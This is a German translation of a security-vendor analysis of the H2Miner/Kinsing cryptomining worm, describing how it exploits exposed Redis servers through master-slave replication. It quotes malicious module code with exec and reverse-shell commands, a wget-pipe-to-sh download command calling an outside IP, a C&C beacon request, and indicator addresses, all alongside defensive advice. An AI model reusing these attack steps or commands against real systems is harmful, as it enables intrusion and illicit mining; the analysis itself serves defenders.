Vor einem Tag wurde einer der Server meines Projekts von einem ähnlichen Wurm angegriffen. Auf der Suche nach einer Antwort auf die Frage „Was war das eigentlich?“ fand ich einen großartigen Artikel des Alibaba Cloud Security-Teams. Da ich diesen Artikel nicht auf Habr gefunden habe, beschloss ich, ihn speziell für euch zu übersetzen <3
Einleitung
Kürzlich entdeckte das Sicherheitsteam von Alibaba Cloud einen plötzlichen Ausbruch von H2Miner. Diese Art von schädlichem Wurm nutzt unzureichende Authentifizierung oder schwache Passwörter für Redis als Zugang zu Ihren Systemen, synchronisiert dann sein eigenes schädliches Modul mit einem Slave über die Master-Slave-Synchronisierung und lädt schließlich dieses schädliche Modul auf die angegriffene Maschine hoch und führt die schädlichen Anweisungen aus.
In der Vergangenheit wurden Angriffe auf Ihre Systeme hauptsächlich durch Methoden durchgeführt, die zeitgesteuerte Aufgaben oder SSH-Schlüssel umfassten, die nach dem Login des Angreifers in Redis auf Ihrer Maschine gespeichert wurden. Glücklicherweise kann diese Methode nicht häufig verwendet werden, da es Probleme mit der Berechtigungsverwaltung oder unterschiedliche Versionen des Systems gibt. Dennoch kann diese Methode zum Herunterladen des schädlichen Moduls direkt die Befehle des Angreifers ausführen oder auf die Shell zugreifen, was gefährlich für Ihr System ist.
Wegen der großen Anzahl Server von Redis, die im Internet gehostet werden (fast 1 Million), empfiehlt das Sicherheitsteam von Alibaba Cloud als freundliche Erinnerung den Benutzern, keinen Zugang zu Redis aus dem Netzwerk zu gewähren und regelmäßig die Zuverlässigkeit ihrer Passwörter zu überprüfen sowie darauf zu achten, ob sie anfällig für schnelle Passwortauffindung sind.
H2Miner
H2Miner ist ein Mining-Botnet für Systeme auf Basis von Linux, das auf verschiedene Weise in Ihr System eindringen kann, einschließlich fehlender Authentifizierung in Hadoop Yarn, Docker, und einer Verwundbarkeit zur Ausführung von Remote-Befehlen in Redis (RCE). Das Botnet funktioniert, indem es schädliche Skripten und Malware hochlädt, um Ihre Daten zu minen, den Angriff horizontal auszudehnen und eine Command-and-Control (C&C)-Verbindung aufrechtzuerhalten.
Redis RCE
Pawel Toporkov teilte sein Wissen zu diesem Thema auf den ZeroNights 2018 mit. Nach Version 4.0 unterstützt Redis die Funktion zum Laden externer Module, die es den Nutzern ermöglicht, so-Dateien, die mit C in Redis kompiliert wurden, zu laden, um bestimmte Redis-Befehle auszuführen. Diese Funktion ist zwar nützlich, birgt jedoch eine Schwachstelle, bei der Dateien im Master-Slave-Modus über den Fullresync-Modus mit dem Slave synchronisiert werden können. Diese kann von Angreifern verwendet werden, um bösartige so-Dateien zu übertragen. Nach Abschluss der Übertragung laden die Angreifer das Modul auf die angegriffene Redis-Instanz und führen jeden Befehl aus.
Analyse des bösartigen Wurms
Kürzlich hat das Sicherheitsteam von Alibaba Cloud festgestellt, dass die Gruppe bösartiger Miner H2Miner plötzlich stark gewachsen ist. Laut Analyse sieht der gesamte Ablauf eines Angriffs folgendermaßen aus:

H2Miner nutzt RCE Redis für einen umfassenden Angriff. Zunächst greifen die Angreifer ungeschützte Redis-Server oder Server mit schwachen Passwörtern an.
Dann verwenden sie den Befehl config set dbfilename red2.so um den Dateinamen zu ändern. Danach führen die Angreifer den Befehl slaveof aus, um die IP-Adresse des Master-Slave-Replikationshosts festzulegen.
Wenn die angegriffene Redis-Instanz eine Master-Slave-Verbindung zu dem bösartigen Redis herstellt, das dem Angreifer gehört, sendet der Angreifer das infizierte Modul mit dem Befehl Fullresync zur Synchronisierung der Dateien. Die Datei red2.so wird dann auf die angegriffene Maschine hochgeladen. Anschließend verwenden die Angreifer das Lademodul ./red2.so, um diese so-Datei zu laden. Das Modul kann die Befehle des Angreifers ausführen oder eine Rückverbindung (Backdoor) einleiten, um Zugang zur angegriffenen Maschine zu erhalten.
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
Nach der Ausführung eines bösartigen Befehls wie / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, wird der Angreifer den Namen der Backup-Datei zurücksetzen und das Systemmodul entladen, um Spuren zu verwischen. Dennoch bleibt die Datei red2.so auf der angegriffenen Maschine. Den Nutzern wird empfohlen, auf das Vorhandensein einer solchen verdächtigen Datei im Ordner ihrer Redis-Instanz zu achten.
Zusätzlich zur Zerstörung bestimmter schädlicher Prozesse zur Ressourcenentwendung folgte der Angreifer einem schädlichen Szenario, indem er binäre Schadsoftware herunterlud und ausführte, um . Dies bedeutet, dass der Prozessname oder der Verzeichnisname, der 'kinsing' auf dem Host enthält, darauf hinweisen könnte, dass dieser Rechner mit diesem Virus infiziert wurde.
Laut den Ergebnissen der Reverse Engineering führt die Malware hauptsächlich folgende Funktionen aus:
- Herunterladen und Ausführen von Dateien
- Mining
- Aufrechterhaltung der C&C-Kommunikation und Ausführung der Befehle des Angreifers

Verwenden Sie masscan für externe Scans, um die Reichweite zu erweitern. Darüber hinaus ist die IP-Adresse des C&C-Servers fest in das Programm eingebettet, und der angegriffene Host kommuniziert über HTTP-Anfragen mit dem C&C-Kontaktserver, wobei die Zombie-Informationen (gehackter Server) im HTTP-Header identifiziert werden.

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, wie Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip
Andere Angriffsmethoden

Adressen und Links, die der Wurm verwendet
/kinsing
• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh
c&c
• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193
Tipp
Zunächst sollte Redis nicht für den Internetzugang geöffnet werden und mit einem sicheren Passwort geschützt sein. Außerdem ist es wichtig, dass die Clients das Fehlen der Datei red2.so im Redis-Verzeichnis und das Fehlen von 'kinsing' im Dateinamen / Prozess auf dem Host überprüfen.
Quelle: habr.com
